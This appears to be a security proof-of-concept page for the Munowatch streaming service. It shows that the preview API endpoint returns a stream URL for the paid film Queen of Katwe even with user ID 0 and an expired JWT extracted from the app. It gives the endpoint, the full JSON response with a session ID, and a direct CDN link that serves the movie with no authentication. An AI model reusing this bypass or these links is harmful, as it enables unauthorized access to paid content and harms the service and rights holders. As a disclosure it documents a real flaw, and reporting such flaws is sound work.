Queen of Katwe — Munowatch PoC

SECURITY PoC — NO AUTH

THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required

Per-movie CDN bypass proof:
The API returned playingUrl for Queen of Katwe with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.

Queen of Katwe

Vj Junior Drama 02h 02m 4 years ago

A Ugandan girl sees her world rapidly change after being introduced to the game of chess.

API Response Evidence — Vulnerability Proof

Endpoint called GET /api/preview/v2/20092/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

paid_for YES (premium content)

substatus EXPIRED

serverhost 34

video_name Queen of Katwe 2016.Junior.1080.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN stream https://munotek.b-cdn.net/tyr85/fda2/Queen%20of%20Katwe%202016.Junior.1080.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 20092,
    "video_title": "Queen of Katwe",
    "description": " A Ugandan girl sees her world rapidly change after being introduced to the game of chess.",
    "video_name": "Queen of Katwe 2016.Junior.1080.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "34",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "02h 02m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/223045389092.jpg",
    "tfilehistory": "",
    "category_id": 17,
    "language_id": 1,
    "recording_date": "2022-01-11",
    "age_id": "PG",
    "location": 1,
    "tab_category_id": 17,
    "series_code": "20092",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "878.82 MB",
    "create_date": "2022-01-11 10:35:38",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "7326.000000",
    "issubscriber": false,
    "genre": "Drama",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "4 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}